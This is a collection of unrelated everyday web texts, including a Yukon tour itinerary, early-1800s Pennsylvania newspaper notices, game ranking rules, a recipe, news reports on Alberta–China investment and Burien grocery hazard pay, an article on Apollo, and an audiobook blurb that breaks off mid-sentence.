During your time at the Trading Post, you can relax and enjoy a tasty Yukon-style lunch, visit one of the most spectacular wildlife museums in North America. The museum's exhibits range from Ice Age specimens to animals more recently introduced into the Yukon. There are exotic animals from both the arctic and sub-arctic regions of Alaska and the Yukon, as well as from around the world.
Your tour continues on to the shores of crystal clear Bennett Lake. There you will have an opportunity to skip a few stones across the water, take pictures, and ask your tour guide questions about the historic Klondike Gold Rush.
If time permits, your next stop will be the Carcross Desert, which is the world's smallest desert. Here you will be able to get some sand in your shoes and take pictures that will be treasured for a lifetime.
Photo stops and possible wildlife sightings await as you journey back to Skagway. Once back in Skagway, your tour guide will drop you off in the center of the Skagway shopping district.
For those in your party who would like to learn more about sled dogs and the art of mushing, they can opt for the Yukon Dog Musher Adventure Tour at the same time. Both tours travel on the same van to and from Caribou Crossing Trading Post and Museum.
The tour will be crossing the U.S. and Canadian border. All U.S. and Canadian citizens 16 years of age or older are required to have in their possession a valid passport. Guests 15 or younger must have a certified birth certificate. People of all other citizenships are required to have a photo I.D., a passport, and visa (If required).


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He denies any injury or other complaints.
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Seth GREGORY, died at Towandee, on the 2nd November, in the 65th year of his age. On the Sunday following a funeral sermon was preached by Elisha COLE to a respectable congregation.
David LANDON married to Miss LUCINDA ALLEN, of Plymouth, on Sunday evening the 27th by Noah WADHAMS, Esq.
John LIME, about 5 miles from Harrisburgh, being weary of his life, put a period to his existence by tying one end of a stirrup leather round his neck and the other end thereof to a stick or wooden pin fastened in logs in the soddering room of his father, Jacob LIME, and thus strangled himself.
James KINSEY, Esq. L.L.D., Chief Justice of the State of New Jersey, died on the 4th inst. at Burlington, in the 70th year of his age.
John HOLLENBACK is appointed Post-Master in this town, in the room of Lord BUTLER, Esq., resigned.
James RUTTER, of this town married to Miss Polly GOOD, of Bucks Co., in Bucks Co., on the 3rd inst., by John ROBERTS, Esq.
The subscriber takes this method to render his most sincere thanks to the neighborhood of Meshoppen, where his brother died, for their kind attention to him while sick, and likewise at his death and interment, and the physicians who attended him. He thinks every exertion was made on their part for his recovery, altho' fruitless. Butler WING.
John HINMAN vs Jehiel FRANKLIN – Domestic Attachm't, returnable to Jan'y Term 1801. Notice is hereby given to the creditors of the said Jehiel FRANKLIN, that they present their accounts and demands properly attested to the subscribers, at the house of Moses COOLBAUGH, Esq., in Wysox Township, in said county, on Wednesday the 4th of February next, in order that the same may be audited and adjusted agreeable to law and to the rule of court made in the aforesaid cause. William MEANS, Moses COOLBAUGH and Ralph MARTIN, Auditors.
Thomas A. ALKINS and Clark BEEBE, will carry on the Saddlery Business in Wilkesbarre, under the Firm of ALKINS & BEEBE. They solicit the patronage of their friends and the public and will dispatch Good work for prompt pay.
Thomas KENNEDY married to Miss Elizabeth SCOVELL, on Thursday evening by M. COVELL, Esq.
Orphan's Court Sales – In pursuance of an order of the Orphan's Court, holden on Monday the 25th inst., will expose to sale by public vendue, at the court-house in Wilkesbarre, on Tuesday the 2nd March next at two o'clock, the real estate of James PARK, late deceased, consisting of Lots #21, of the first division, containing 50 acres; Lot #10, of the second division, containing 100 acres; and Lot #11, of the third division, containing 150 acres; in the township of Newport. Also Rights #10 and 30, in the township of Northmoreland, containing 300 acres each. Attendance will be given and the conditions of Sale made known by Eben'r BOWMAN, Esq., Administrator. By the Court, Jacob HART, Clerk, Wilkesbarre.
Concord, NH, Jan. 7th – The wife of Mr. SOMES, of Alexandria, was delivered of a son on the 23rd Dec., of a second on the 24th, and of a third on the 25th. The three weighed 17 lbs. Two of them died soon after their birth. The remaining son and the mother are likely to do well.
Hartford , Jan. 18th – On the first of January inst., the wife of John SHAW, of Barkhamsted, was delivered of three female children; the weight of them as follows, the first, 6 lb., the second 5 1/4 lb. And the third, 6 lb. – total 17 1/4 lb. They are all living and to appearance likely to live.
Hartford – On the 12th inst., Jonathan MARSH, aged 87 years, died. It is observable that he hath spent his life and settled his accounts with all men without having his name mentioned in a writ or execution.
All persons are forewarned not to take an assignment of three Notes which I gave to Ira MANVILL, of Plymouth, for 15 Dollars each, dated the 12th of January 1801, payable in the beginning of June last, now lodged in the hands of Anderson DANA; as I am determined not to pay them unless the said MANVILL complies with the contract for which the said notes were given. Wm. EVANS, Plymouth.
Miss Patty, daughter of Curtis GRUBB, formerly of Lancaster, died at Lancaster on the 16th Jan. last, in the 17th year of her age.
Senate – Jan. 15th – The bill, entitled, a supplement to act to erect the town of Sunbury, in county of Northumberland, into a borough, was passed with some amendments and sent to the house of representatives for concurrence.
Miss Sally ELLIS, died at Braintrim on the 3rd inst., aged 18 years.
As it appears there are a great number of Bachelors in this County, it is thought expedient to have them called together to appoint a President and other Officers for the better regulation of the Brotherhood: Therefore I, being one of the most ancient Bachelors, hereby warn all over the age of twenty five, to attend a meeting to beheld on the first day of May next, at the delightful place called Harington's Pond. A Bachelor, Wilkesbarre.
Lazarus DENISON married to Miss Betsey CARPENTER, both of Kingston, on Sunday evening the 14th inst.
Died yesterday afternoon, Robert COGHILL, grocer, of this city (this may be Albany, NY?). He was sitting in a chair smoking a segar, in an apparent state of health, and expired instantaneously.
Lancaster, Feb. 27th – On Tuesday last, the motion, relative to fixing the permanent seat of government, of this commonwealth, was taken up in the Senate. The vote was first taken on Columbia, for which there appeared 11. Next on Philadelphia, when 9 rose. Then on Lancaster, which had also 9. And lastly on Harrisburgh, for which there were 14.
David JONES, jun. Esq., Attorney at Law, died at Owego, NY on the 26th ult.
Cure for the Tooth ache – Take a piece of Nut Gall, and apply it to the defective part; it will ease the pain, and extract the marrow. Keep it on the tooth upwards of half an hour. It may be necessary to apply a second piece.
Ebenezer DRAKE, of this town to Mrs. Elizabeth MARCY, of Pittstown, on the 21st inst., by Constant SEARLE, Esq.
Estate of John STAFFORD, late of Putnam Township, requests payments. Amos STAFFORD, Admin., Putnam Township.
For Sale in lots of one or two hundred acres, to actual settlers, on easy payments, a tract of land of upwards of 3000 acres, on Bowman's Creek, Luzerne County, a part of which is settled on: And a tract called Eckley, on the Tobihannah, Northampton County, containing 2650 acres of a good quality.
William H. SMITH, Luzerne Co.
Fire! On Tuesday night last, the Blacksmith shop, belonging to Capt. Eben. SLOCUM, of Providence, caught fire and was consumed; two pair of Bellows were destroyed, and a variety of other Tools injured.
Joseph LINLEY, late of Sheffield (Eng.) to Miss Sybil BENJAMIN, both of this County, married on Saturday the 17th by Peter GRUBB, Esq.
I hereby forewarn all persons trusting Polly CARNEY, my wife, on my account, as I am determined not to pay any debt of her contracting after this date unless compelled by law. Joseph CARNEY, April 1st.
Estate of Andrew TRACY, late of Nicholson Township, request payments. Mary TRACY, Adm'x, Nicholson Township.
Hartford, May 10 – In the night following the 27th April, between the hours of 11 and 12, the dwelling house of Reuben FOWLER, of Durham, was entirely consumed by fire, with almost every article of furniture and cloathing which it contained, and also a large quantity of pork, lard and cider and other provisions. What adds distress to the melancholy scene, is, that a young woman, by the name of Polly DIXSON, in the 18th year of her age, was so shockingly burnt that she survived but about 48 hours.
Orphan's Court Sales – In pursuance of an order of the Orphan's Court, holden at Wilkesbarre on the 31st January, 1801, will be exposed to sale by public Vendue, at the house of Arnold COLT, Innkeeper in Wilkesbarre, on 19th June next – Back lots, or fourth division lots number 49 and 50, situated in the township of Wilkesbarre, containing about 625 acres in the whole, which said lands are of the real estate of Col. Zebulon BUTLER, deceased. Roswell WELLS, Esq., Admin.
Notice – Proprietors of the Township of Northmoreland, are requested to meet at the dwelling house of Elijah BRACE, in Northmoreland, on June 4th, at 10 o'clock, to appoint a committee and make arrangements to facilitate the business respecting titles of same Northmoreland before the State Commissioners and do any other business necessary to accomplish the object. By request of a number of proprietors. Lawrence MYERS.
Mrs. Martha, widow of the late illustrious Gen. George WASHINGTON, died at Mount Vernon on Saturday evening the 22nd inst.
Coenrad WICKIZER, died in this town on Thursday last.
Orphan's Court Sales – In pursuance of an order of the Orphan's Court, holden at Wilkesbarre on the 1st inst. will be exposed to sale by public Vendue, at the house of David STEWART, Innkeeper in Hanover Township, on the 25th inst., at 2 o'clock as the real estate of Samuel THOMPSON, deceased, lot #17 in the second division, in the Township of Newport, containing one hundred acres. Eleazer MARBLE, Admin.
Estate of Josiah PELL sen., late of Hanover, requests payments. Josiah PELL, Adm'r.
William LOWE, Esq., attorney at law married to Miss Bridget MATTHEWS, both of Newtown, Tioga Co., on Sunday evening the 11th inst., at Newtown, by John Konkle, Esq.
Mrs. Mary, wife of Phineas NASH, of Plymouth, departed this life on Friday, the 16th inst., aged 68 years.
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Joseph HINCHMAN, Esq., formerly Sheriff of Tioga Co., died at Newtown, Tioga Co., on Friday the 23rd July, in the 40th year of his age. He was one of the first emigrants to the western country in New York. He has served in several public capacities and was a skilful physician. He leaves a wife and four children. His body was interred on Saturday following in the new burying ground at Newtown. A numerous and respectable class of citizens attended his funeral together with the Masonic order (of which he was a member) which walked in procession.
Robert BROWN, Isaac VANHORN and Frederick CONRAD, are nominated in the Easton Democratic Eagle, for members of Congress, from the districts composed of the counties of Montgomery, Bucks, Northampton, Wayne and Luzerne.
Good Bargain in Lands – The subscriber offers for sale, in tracts of not less than 100 acres, to actual settlers, a body of land of upwards of 3000 acres, (as part of a tract of 4000 acres) situated on the southern waters of Bowman's Creek, in Luzerne Co., adjoining the township of Northmoreland (one of the Seventeen Townships) about 4 miles from the Susquehanna River, and 9 from Wilkesbarre, the County town, from hence there is a good waggon road. This land is almost all susceptible of cultivation, and generally of a good quality; there are some good situations for Mills. There are already five settlers on this tract and applications from others are frequent. Terms – 20 shillings per acre. The Purchaser by paying the yearly interest of 5 percent may retain the Principal forever if he chuses. This land was located by myself and the Patents from the State are now in my possession. The title is therefore indisputable. Thomas WRIGHT, Wilkesbarre.
Mrs. RISER, died in Philadelphia, aged 103 years, 4 months and some days. She has seen a part of three centuries, being born in 1698.
Alledine, wife of Josiah PELL, died on Wednesday the 1st inst. in the Beach-woods settlement. Her illness was short, but severe. She was 32 years of age and leaves an affected husband and three small children.
Escaped from the custody of the subscriber, about the last of August, William SCOBY, who was arrested for debt. Whoever will deliver said SCOBY, to the subscriber, shall receive Fifty Cents Reward. John FAIRCHILD, jr., Constable, Newport.
Levi CHAPEL to Miss Ruth FAIRCHILD, married at Rush on 9th Sept., by Guy WELLS, Esq.
Solomon GRIFFIS to Miss Nancy LEWIS, married at Usher, on the 13th inst. by Isaac HANCOCK, Esq.
Maj. Gen. Robert VAN RENSSALEAR, died at Claverick, on Saturday last, aged 61. His funeral was attended yesterday.
Elihu Chauncey GOODRICH, Esq., of Claverick, died at Niagara, on the 20th ult.
Mrs. John OGDEN, died at Wyalusing on Wednesday the 6th inst., leaving a husband and three children to lament the loss of a kind mother; one of whom was but six days old when she died.
Take Notice – Whereas the subscriber intends to remove immediately with his family out of these horrid regions now groaning under the despotic usurpation of Pennsylvania, he would wish to inform all those that are any ways indebted to him, that their respective accounts will be left with Major James WHEELER. All those who thro' mysterious long-suffering and forbearance, neglect to make payment by the first day of January next, may depend on immediate collection without any further indulgence or friendly admonition. Certified by Ebenezer BEEMAN, Braintrim.
All persons are hereby cautioned against purchasing two Notes of hand which the subscriber gave to Mr. LATTIMORE, late of Springfield, one for $100 and the other for Sixty odd Dollars; as they are already paid. Catharine BARTOES, Springfield.
Jacob OSSENCUP, miller, hereby informs the public that he will chop grain for distilling or horse-feed, for half the usual tool, for all those who give him the whole of their grinding. Call at Wright's Mill.
The Commissioners under the Law of April 4, 1799 intend to make out the Certificates this winter for claims substantiated in the following township. The following titles have been exhibited to me. It is to be noted, that the exact quantities of land due to each claimant can only be ascertained by the survey on the ground: for although the titles are made out for the quantities hereunder specified, yet the Deeds and descriptions are for the most part so general, so loose, and so inaccurate, that the real quantities cannot be known precisely from the Deeds themselves without the surveys made under the direction of General STEELE and William WILSON, Esquire. Thomas COOPER, Wilkesbarre.
This may certify whome it may concern that D. TUTTLE of Albany and Typhena CHAPEN, of Patridgefield by information appeared before me August 25, 1802 and cawld on me to marry them bouth together each to the other, which I did. Given under my hand at Stephentown this 16th Day of September 1802. Joseph SHELDEN, Justice peace.
A few days ago, a child, about two years old, of Humphry BROWN, of Wyalusing, was lost. After a lengthy and ineffectual search, the mother chanced to look into the well, where she beheld her infant standing in the water. Mr. B. immediately descended and released his child from its watery prison. On examining it, no marks of injury appeared, although he well is 45 feet deep and very roughly stoned.
Public Sale on 15th Dec. next at the house of Shadrach OSTRON, Huntington Twp., the property belonging to the partnership of Thomas RIDGE and Persifer FRAZIER: — viz. Whiskey, nails, cyder, rifles, powder, callicoes, saddles, muslins, handkerchiefs, tin ware, hats assorted, wheat by the bushel and sundry other articles. All persons indebted to partnership are requested to make payment, otherwise they will be proceeded against according to law.
On Tuesday morning the 7th inst. the house of Richard SPRINGER, of Hanover, accidentally took fire, and was entirely consumed, together with all the articles of furniture, bedding, &c. he was possessed of. The wife of Mr. SPRINGER was burnt in so severe a manner as not to be able to help herself; but is now recovering. It is hoped those who are well sheltered from the inclemencies of the season, will endeavor to administer to the necessities of this unfortunate family, who in so short a time are deprived of their all.
Isaac BENJAMIN, died at Plymouth on Saturday night last. He had been a short distance down the river after a fishing flat, and on his return is supposed ot have been taken with a fit. He was found on Sunday morning near the shore, with his face in the water; he is supposed to have fell into the water when seized by the fit, and there to have strangled.
William AYERS, sen., died at Plymouth a short time since.
Came into the enclosure of the subscriber about the 20th Oct. last, a red ox, about 7 or 8 years old; the owner is desired to come and prove property, pay charges and take him away. Jacob MILLER, Meshoppen.


The main Rank List in Triviador is the League System. The League System refers ONLY to the "Personal" Rank List. When you play a Competition game as an individual player, you automatically take part in the Weekly Challenge and are therefore placed into the League System.
All-Time: Based on absolute XP level for all Active players. This is independent of the League System.
This Week: Based on your current position in the League System in the current Weekly Challenge.
Last Week: Based on your current position in the League System in the previous week's Weekly Challenge.
Each League is broken up into Divisions. These Divisions are NOT visible to the player, but serve to organize players into manageable groups. The number of total Divisions depends on the number of players currently in a particular League. The number of players in each Division is approximately between 16 to 40 individuals. The target size for each Division is 25. The number of Divisions from one level to another will always be directly proportional.
At the end of every Weekly Challenge, the players' XP will be calculated and each player will either: (1) move up to the next League, (2) remain in the same League, or (3) move down to the League below. If you are a new player, you will enter the bottom League (Hopefuls) after reaching 300 XP. You will enter the League immediately upon reaching the required XP. In other words, you do NOT need to wait until the Weekly Challenge ends.
Here you can view your own Ranking and the Rankings of your friends - this includes both Triviador friends and Facebook friends. You must have a minimum of 5 currently active friends in Triviador to view your position in this Rank List.
Here you can view your League Ranking, and the Rankings of 2 players above you and 2 players below you.
Here you can view Country/Region Rankings. The type of region depends on the different versions of the game. For example, in Triviador World, regions are defined as "Country", while in Triviador USA, regions are defined as "States", etc.


Cool pasta and chicken thoroughly in fridge. Dice apple and sprinkle with lemon or lime juice to prevent browning. In a large bowl, mix apple with celery, grapes, chives, walnuts, pasta and chicken. In a separate bowl, combine mayonnaise, yogurt, sugar, salt, nutmeg and pepper. Stir dressing into pasta mixture. Chill before serving.


I have the Pro Z ProTrack Retractable Tonneau cover and absolutely love it. It locks easy, has no pull ropes to get tangled in the hitch, and is really water tight. It's nice to finally be able to secure items in bed. And to retract it all the way when hauling something big. Plenty of room/clearance with the hitch.


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Alberta pushes for rule change to spur Chinese investment
Nathan VanderKlippeU.S. correspondent
Giant dump trucks haul raw oil sands to be processed at the Suncor mining operations near Fort McMurray, Alta., earlier this year.TODD KOROL/Reuters
Alberta's new political leadership is calling on Ottawa to take another look at foreign investment rules blamed for a dramatic drop in energy investments from China.
When the federal government gave its approval of the $15.1-billion (U.S.) takeover of Nexen Energy ULC in late 2012, it came with a caveat: a raft of new policies intended to ensure such a deal would not happen again. Canada is not "for sale to foreign governments," Prime Minister Stephen Harper said as he effectively blacklisted state-owned companies from further oil-sands takeovers.
The guidelines sparked worry in China, and prompted warnings from the energy industry, bankers and lawyers. The guidelines, some have said, are discriminatory against China, and have blocked a major source of money that could be used to build a new generation of Fort McMurray-area projects.
Now, the Alberta government itself is taking up those concerns with the federal government, in hopes of again prying open the spigots from China.
"We are urging a review of some of the quick changes that were done to our Investment Canada Act," said Ron Hoffmann, the province's newly named senior representative for the Asia-Pacific Basin.
The changed guidelines have created "confusion," he said, speaking at the Canada-China Forum on Energy & Environment in Beijing on Thursday.
"We just think there's some looseness in the language," Mr. Hoffmann said.
Alberta wants the federal government to clarify what counts as a state-owned company, a question that can be thorny in a country such as China where the lines are often blurry between public and private enterprise. Efforts in China to boost productivity among state firms are also blurring the line between what is a commercial company and what isn't.
The province also believes foreign companies should be given credit for a track record of Alberta energy investments that "has been quite a positive one," Mr. Hoffmann said, referring to both CNOOC and Sinopec. The province is petitioning Ottawa on a series of issues, including its policies on temporary foreign workers and skilled trades, he said.
The Canadian Association of Petroleum Producers, meanwhile, says Ottawa should raise the dollar threshold for scrutinizing foreign investments – now set at $354-million – because it is hampering the ability of smaller companies to make deals.
The requests for change comes as China's state-owned companies grow increasingly sour on Alberta, owing in part to their struggles to spin profit out of the many billions they've spent. "We haven't seen significant returns from the investments, so there is no strong motivation for the state-owned companies to further invest in Canada," said Li Pilong, chief geologist and assistant president at Sinochem Group.
The new investment rules have also fostered a belief that "it is not possible for the state-owned companies to further invest in oil sands," he said.
Ian Wild, an executive vice-president at ATB Financial, added: "There's been tremendous lost opportunity."
There are signs, however, that a second stage of Chinese investment is building, as private companies work toward deals that, though they are much smaller in dollar terms, may see Asian money fall into new places. ATB is currently in some 10 "sets of discussions" with Chinese companies that want to buy into Alberta real estate, construction assets and service companies, as well as barrels in the ground, Mr. Wild said.
"There won't be very many $15-billion transactions by privates," he acknowledged. "But over five years, you may see a cumulative number like that. I'm quite optimistic."
A spokesman for Industry Minister James Moore said no request for a review has reached the minister.
"I'm not aware of any official request on this issue," said Mr. Moore's spokesman Jake Enright. "But we have a really positive relationship with the Government of Alberta and we are open to sitting down with them to discuss any proposal they might have."
Some Chinese private investors are coming up with ideas of how to do things differently. Charles Yan, president of Cadavisa Investment Group, wants to build a plant to convert natural gas to liquid petrochemical feedstock, which can be more easily transported than gas that is super-chilled to load onto ships as LNG. His company has spent two years working to adapt Chinese technology to Canadian regulatory and safety requirements.
Private-company interest is driven largely by a desire for Canada's abundant natural resources, everything from oil to beef to jade, a coveted gemstone in China, said Gong Jialong, the chief executive of Lianchang Petroleum Corp. Canada also suffers less of the instability that has burned Chinese investors in places such as Iraq and Sudan, he said.
"Investing in Canada is the ideal solution," he said.
"We have already seen the peak of SOE [state-owned enterprise] investment. But for the next two or three decades, there will be a new wave of investment from China's private sector."
With a report from Shawn McCarthy in Ottawa
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Due to the nationwide transformation of manufacturing industry in the mid-late 20th century, a large number of industrial sites became underutilized or even abandoned. Most of those sites are defined as brownfields because their reuse processes are complicated by on-site environmental issues. Some of those brownfields used to play a significant role in the urban area, but now, negatively influenced the city on the aspects of environmental and economic impact. The creative project selected one typical brownfield site in the rust belt and applies reclamation design strategies, environmental friendly designs, and land redevelopments on the site. Evidences from Case studies and literature review are the basis of the design application. The creative project demonstrates how site planning and landscape design can offer solutions for further reclamation of the brownfield environments beyond the basic remediation. In addition, the project demonstrates how the brownfields redevelopment can propose an economically viable plan as a mixed-use community.


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Apollo, the Greek God of the Sun, Music, and Prophecy
Mythology & Religion
Figures & Events
The Olympian of Many Talents
Apollo. Hulton Archive/Getty Images
by N.S. Gill
N.S. Gill is a freelance classics and ancient history writer. She has a master's degree in linguistics and is a former Latin teacher.
The Greek god Apollo was the son of Zeus and the twin brother of Artemis, goddess of the hunt and the moon. Commonly conceived as the driver of the solar disc, Apollo in fact was patron of prophecy, music, intellectual pursuits, healing, and plague. His brainy, orderly interests made writers contrast Apollo with his half-brother, the hedonistic Dionysus (Bacchus), god of wine.
Apollo and the Sun
Perhaps the earliest reference to Apollo as the sun god Helios occurs in the surviving fragments of Euripides' Phaethon. Phaethon was one of the chariot horses of the Homeric goddess of the dawn, Eos. It was also the name of the son of the sun god who foolishly drove his father's sun-chariot and died for the privilege. By the Hellenistic period and in Latin literature, Apollo is associated with the sun. The firm connection with the sun may be traceable to the Metamorphoses of the popular Latin poet Ovid.
Apollo's Oracle
The Oracle at Delphi, famous seat of prophecy in the classical world, was intimately connected with Apollo. Sources vary, but it was at Delphi that Apollo slew the serpent Python, or alternately brought the gift of prophecy in the form of a dolphin. The Greeks believed that Delphi was the site of the omphalos, or navel, of Gaea, the Earth. Either way, the Oracle's guidance was sought by Greek rulers for every major decision, and was respected in the lands of Asia Minor and by the Egyptians and Romans as well. Apollo's priestess, or sybil, was known as Pythia. When a supplicant asked a question of the sybil, she leaned over a chasm (the hole where Python was buried), fell into a trance, and began to rave. The translations were made into hexameter by the temple priests.
Apollo Fact Sheet
God of the Sun, Music, Healing
Roman Equivalent:
Apollo, sometimes Phoebus Apollo or Sol
Attributes, Animals, and Powers:
Apollo is depicted as a beardless young man (ephebe). His attributes are the tripod (the stool of prophecy), lyre, bow and arrows, laurel, hawk, raven or crow, swan, fawn, roe, snake, mouse, grasshopper, and griffin.
Apollo's Lovers:
Apollo was paired with many women and a few men. It wasn't safe to resist his advances. When the seer Cassandra rejected him, he punished her by making it impossible for people to believe her prophecies. When Daphne sought to reject Apollo, her father "helped" her by turning her into a laurel tree.
Myths of Apollo:
He is a healing god, a power he transmitted to his son Asclepius. Asclepius exploited his ability to heal by raising men from the dead. Zeus punished him by striking him with a fatal thunderbolt. Apollo retaliated by killing the Cyclops, who had created the thunderbolt.
Zeus punished his son Apollo by sentencing him to a year of servitude, which he spent as herdsman for the mortal king Admetus. Euripides' tragedy tells the story of the reward Apollo paid Admetus.
In the Trojan War, Apollo and his sister Artemis sided with the Trojans. In the first book of the Iliad, he is angry with the Greeks for refusing to return the daughter of his priest Chryses. To punish them, the god showers the Greeks with arrows of plague, possibly bubonic, since the plague-sending Apollo is a special aspect connected with mice.
Apollo was also associated with the laurel wreath of victory. Apollo was fated to a disastrous and unrequited love. Daphne, the object of his love, metamorphosed into a laurel tree to avoid him. Leaves from the laurel tree were thereafter used to crown victors at the Pythian games.
Aeschylus, Cicero, Euripides, Hesiod, Homer, Ovid, Pausanias, Pindar, Stabo , and Virgil
The 6 Symbols of the Greek God Apollo
Images of the Greek-Roman God Apollo
The God Apollo's Wives, Mates, and Children Form a Long List
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What's Love Got to Do With It? The History of the Olympic Victory Laurel
Learn Fast Facts About the Olympian Gods
Equivalent Roman and Greek Names for the Olympians and Minor Gods
The Olympic Gods' Family Tree
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Bulfinch's Version of the Story of Apollo and Daphne
12 Ancient Lunar Luminaries
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Read About the Story Behind the Trojan War
A Brief Synopsis of Ovid's Metamorphoses
The Greek Sun God, Helios


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Burien Council grants hazard pay to grocery store employees who work during COVID-19 pandemic
Feb 6, 2021 | Burien News, Burien, Business, COVID-19, Featured Post, Government, Health & Wellness, News, Politics
By Jack Mayne
A proposed Burien move to give grocery store workers hazardous pay for working while the COVID-19 virus is raging through the city was passed by the Burien City Council at a meeting on Monday night, Feb. 1, 2021.
Prior to Council action, individuals and labor unions hard pressed the city to pass the law granting hazardous pay to workers who maintain their jobs during the siege.
The Council will hold a Special Meeting this coming Monday, Feb. 8, 2021 to further discuss, amend, and/or possibly rescind the ordinance (download agenda packet PDF here).
"Because the adopted Ordinance No. 756 was only a draft and was not yet prepared to be adopted, Council requested a Special Meeting on February 8, 2021, to discuss potential amendments to the ordinance prior to the effective date of Ordinance No. 756, which is February 10, 2021," the agenda item says.
City Manager Brian Wilson is advising that council "Rescind Ordinance No. 756 and take no action on proposed Ordinance No. 757 at this time."
Masks cause anger
Melissa, who said she works at Fred Meyer, told the Council there was a "strong urgency to vote yes on the hazard pay," and that "it has become more and more stressful because of the pandemic."
She said many people without masks are coming into the Burien Fred Meyer store, and that one customer "got very angry at me" for offering him a face mask. She also said at one point there were 19 Fred Meyer employees out with COVID there, "and we are still exposed."
Sheryl Saechao said she has been "a loyal cashier" at the Burien Fred Meyer for 23 years.
"I believe, very strongly, that grocery workers should receive hazardous pay," Saechao said. "Customers don't follow social distancing rules," and she worries about becoming affected by COVID-19. Having hazardous pay would allow "us to plan for the worst case scenario."
Another employee said grocery prices are increasing at a rapid rate and she needs more income to support her family.
A woman began working at Safeway when her personal business "stalled because of COVID" and her husband has stage-four cancer. Others said frontline workers "deserve this compensation."
Sean Murphy, a Safeway employee, said the workload has increased since the pandemic and "big name grocery stores are making record profits during one of the worst pandemics in history and they are doing that on the broken backs of employees. We deserve hazard pay (for) the dangers we put ourselves in. We risk exposing ourselves and our loved ones to this dangerous virus."
Close rather than pay
A wire service reported on Thursday (Feb. 4) that two grocery stores in Southern California will shutter in April in response to a local "hero pay" measure requiring a $4-an-hour increase for grocery workers during the pandemic.
Kroger, which owns Fred Meyer and QFC and more than a dozen other grocery chains, says it would close Ralph's and a Food 4 Less. The two grocery stores in Southern California will shutter in April in response to a local "hero pay" measure requiring a $4-an-hour increase for grocery workers during the pandemic.
Kroger announced this week that it would close a pair of Long Beach stores — a Ralphs and a Food 4 Less — specifically citing the ordinance the city's mayor signed into law late last month. Long Beach was the first in California to introduce a measure requiring some grocery retailers to give workers a temporary increase.
Seattle Southside Chamber of Commerce president and CEO Andrea Reay said her organization understands why the Council is considering a draft ordinance for hazardous pay for grocery workers, but "we do have concerns about the broad application and potential unintended consequences we wanted to share with you."
She said grocery workers account for 5 percent of COVID outbreaks, "far less" than other industries, and the proposed ordinance will not protect the "workers most at risk." The small, independent and non-publicly traded stores "have not seen a profit or a very slim one" in the past year, although "many large ones have."
The larger ones can absorb the cost of a pandemic, but the small ones cannot, said Reay.
"Burien already has several neighborhoods considered food deserts and we would not want the well-meaning intention of this ordinance to exaggerate an already fragile food access system in our community," Reay told the Council.
The most important thing is to make the virus vaccine "readily available" for grocery store workers, said Reay.
Affecting worker's lives
Faye Guenther, president of United Food and Commercial Workers Union local 21 which represents grocery workers "across Puget Sound," lives in Burien,
"I urge you to pass hazard pay and reject any fear mongering that the Chamber or the grocers raise tonight," Guenther said. "As you all know, Burien grocery store workers have risked their lives to feed and care for all of us.
"Grocery store workers need hazardous pay," because of COVID said Guenther. "The pandemic made everything different for grocery store workers affecting every part of their lives. Grocery workers must go to great lengths to keep themselves and their families safe.
"Grocery store workers carry a fear within them every day that they will get sick from an invisible virus and bring that virus home to their family." One in Burien died, Guenther said.
"Listen to the workers and pass hazardous pay," she said.
Vaccinations more important
PCC markets say they rarely weigh in on issues facing the Burien City Council, but it was "so worried about the impact of the hazard pay ordinance that you are considering on independent grocers like us, that we feel we have no choice other than to speak up."
PCC Community Markets is a food cooperative based in Seattle, with stores in Burien and West Seattle. It has over 58,000 members, and is the largest consumer-owned food cooperative in the United States. It was originally Puget Consumers Co-op, and became PCC Natural Markets in 1998 and PCC Community Markets in 2017.
Vaccinations are more important than pay, PCC said in a statement.
Reconsider Burien ordinance
The Burien Council should "weigh the impact of the ordinance you are considering on local, independent grocers," PCC said in a statement.
"Collective focus should be on vaccination. Grocery workers need expanded access to vaccines to keep them protected from COVID both at home and at work."
PCC has fewer infections
PCC Community Markets have had only 36 of its 1,710 staff contract COVID since last February. The coop says that the infections were determined to be contracted at work and 33 of those infections were determined to result from infection at home or outside of work.
PCC says its staff "should be protected throughout their day – including at home – so that we can keep them on the job and healthy."
It said it is offering a $25 gift card to staff members who get vaccinated to move its workforce in that direction. (Burien) should be focused on keeping all grocery workers on the job by taking steps to ensure their swift vaccination.
Grocery stores safe
Washington grocery stores are safe places to work. It is safer to work in a grocery store than work in goods production or government.
A Washington State Department of Labor and Industries report issued in November 2020 said that only 5 percent of all non-health care COVID workplace outbreaks occurred in grocery stores, and grocery stores accounted for less than 2.8 percent of all workplace outbreaks.
PCC said, that, in contrast, the goods-producing industry accounted for 29 percent and government accounted for 7 percent of all workplace outbreaks. "PCC has not had any confirmed workplace outbreaks. This is a testament to our commitment to workplace safety."
Virus cuts co-op profit
The Seattle area cooperative said independent grocers have a slim profit margin. Large scale grocers may see a decent profit margin, but most independent grocers have less than a 5 tenths of a percent profit margin, according to the Washington Food Industry Association. "The cost of COVID response, including the safety controls that we have committed to in order to keep our staff safe and the additional pay, have cut our margins to the bone."
"This ordinance disproportionately harms local, independent grocers like PCC Community Markets. In 2020, we spent more than $4M on COVID related employee and operating costs, including staff member appreciation pay, bonuses and in-store safety protocols. That is more than 2x our 2019 profits and almost 2x of projected 2020 profits. Although independent grocers are proud to have provided a safe and healthy shopping and working environment, our profit margins are even more slim than previous."
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A Bad Lie - Cherringham - A Cosy Crime Series: Mystery Shorts 23 (Unabridged)
NarratorNeil Dudgeon
SeriesCherringham (part 23)
CrimeCosy Crime Novels
When talented young artist Josh Andrews goes missing after a stag night prank at Cherringham Golf Club, the bride in desperation asks Jack and Sarah to find him. It seems he's gotten cold feet, with the wedding just days away. But Josh is not all he appears to be ... And soon suspicion falls on the Golf Club itself. Can Josh be found before he takes justice into his own hands? Cherringham is a serial novel à la Charles Dickens, with a new audio episode released every two weeks. Set in the sleepy English village of Cherringham, the detective series brings together an unlikely sleuthing duo: English web designer Sarah and American ex-cop Jack. Thrilling and deadly - but with a spot of tea - it's like Rosamunde Pilcher meets Inspector Barnaby. Each of the self-contained episodes is a quick listen for the morning commute, while waiting for the doctor, or when curling up with a hot cuppa. For fans of Agatha Christie's Miss Marple series, Lilian Jackson Braun's The Cat Who series, Caroline Graham's Midsomer Murders, and the American TV series Murder She Wrote, starring Angela Lansbury. Co-authors Neil Richards (based in the UK) and Matthew Costello (based in the US), have been writing together since the mid 90's, creating content and working on projects for the BBC, Disney Channel, Sony, ABC, Eidos, and Nintendo to name but a few. Their transatlantic collaboration has underpinned scores of TV drama scripts, computer games, radio shows, and - most recently - the successful crime fiction series Cherringham. The narrator of the audiobook, Neil Dudgeon, has been in many British television programmes including the roles of 'DCI John Barnaby' in 'Midsomer Murders' and 'Jim Riley' in 'The Life of Riley'. He is also known for 